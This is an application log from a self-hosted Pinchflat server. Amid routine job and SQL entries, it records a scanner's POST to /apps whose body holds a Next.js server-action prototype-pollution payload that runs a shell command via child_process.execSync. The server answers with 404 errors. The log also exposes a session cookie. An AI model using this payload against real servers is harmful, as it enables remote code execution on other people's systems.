{"source":"oban","duration":928,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.327 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:25.890 [info] {"source":"oban","duration":1024,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:55.892 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.328 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:25.894 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:55.896 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.329 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:25.898 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:55.900 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.330 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:25.902 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:55.904 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.331 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:25.906 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:55.908 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.332 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:25.911 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:55.913 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.333 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:25.915 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:55.917 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.334 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:25.919 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:55.921 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.335 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:25.923 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:55.925 [info] {"source":"oban","duration":1192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.336 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:25.927 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:55.929 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.337 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:02.213 [info] GET / 03:26:02.213 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 03:26:02.215 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=571.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:26:02.215 [debug] QUERY OK source="media_profiles" db=0.2ms idle=572.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 03:26:02.216 [debug] QUERY OK source="sources" db=0.2ms idle=572.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 03:26:02.218 [debug] QUERY OK source="media_items" db=2.3ms idle=572.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:26:02.219 [debug] QUERY OK source="media_items" db=0.5ms idle=168.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:26:02.219 [debug] QUERY OK source="settings" db=0.2ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:26:02.220 [debug] QUERY OK source="settings" db=0.3ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:26:02.221 [debug] QUERY OK source="settings" db=0.2ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:26:02.223 [debug] QUERY OK source="tasks" db=0.4ms idle=4.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 03:26:02.224 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:26:02.225 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:26:02.226 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 03:26:02.232 [debug] QUERY OK source="media_items" db=3.3ms idle=8.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 03:26:02.234 [debug] QUERY OK source="media_items" db=1.0ms idle=10.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:26:02.235 [debug] QUERY OK source="sources" db=0.2ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:26:02.237 [info] Sent 200 in 24ms 03:26:02.796 [info] HEAD /apps 03:26:02.797 [debug] QUERY OK source="settings" db=0.2ms idle=572.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:26:02.797 [debug] QUERY OK source="settings" db=0.1ms idle=571.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:26:02.798 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:26:02.798 [error] #PID<0.256090.0> running PinchflatWeb.Endpoint (connection #PID<0.256088.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: HEAD /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 39790}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.113.7", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.76.113.7" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.256090.0>, params: %{}, path_info: ["apps"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo"}, {"host", "pinchflat.guano.duckdns.org"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"x-forwarded-for", "35.76.113.7"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"}, {"x-real-ip", "35.76.113.7"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC_dOpFkcGaBjsAL7PC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 39790}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.113.7", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.76.113.7" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 39790}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.113.7", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextj (truncated) 03:26:02.986 [info] POST /apps 03:26:02.987 [debug] QUERY OK source="settings" db=0.2ms idle=754.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:26:02.987 [debug] QUERY OK source="settings" db=0.2ms idle=753.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:26:02.987 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 03:26:02.988 [error] #PID<0.256091.0> running PinchflatWeb.Endpoint (connection #PID<0.256088.0>, stream id 3) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: POST /apps ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /apps (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 39790}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.113.7", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-nextjs-html-request-id" => "SSTMXm7OJ_g0Ncx6jpQt9", "x-nextjs-request-id" => "b5dce965", "x-real-ip" => "35.76.113.7" }, method: "POST", body_length: 753, path_info: :undefined, qs: "", streamid: 3, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "POST", owner: #PID<0.256091.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}", "1" => "\"$@0\"", "2" => "[]" }, path_info: ["apps"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "753"}, {"content-type", "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo"}, {"host", "pinchflat.guano.duckdns.org"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"}, {"x-forwarded-for", "35.76.113.7"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-nextjs-html-request-id", "SSTMXm7OJ_g0Ncx6jpQt9"}, {"x-nextjs-request-id", "b5dce965"}, {"x-real-ip", "35.76.113.7"} ], request_path: "/apps", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC_dPWQiT6VIqMAL7QC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.256088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/apps", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 39790}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "753", "content-type" => "multipart/form-data; boundary=--------WebKitFormBoundaryx8jO2oVc6SWP3Sad", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYdEpPQTkwLVc4czRMclgySlVnUzRNSHlk.Un3kfGn4wCqmuNJflgE1dDzH25a22_2DkOKRzygVYOo", "host" => "pinchflat.guano.duckdns.org", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0", "x-forwarded-for" => "35.76.113.7", "x-forwarded-host" => "pinchflat.guano.duckdns.org", 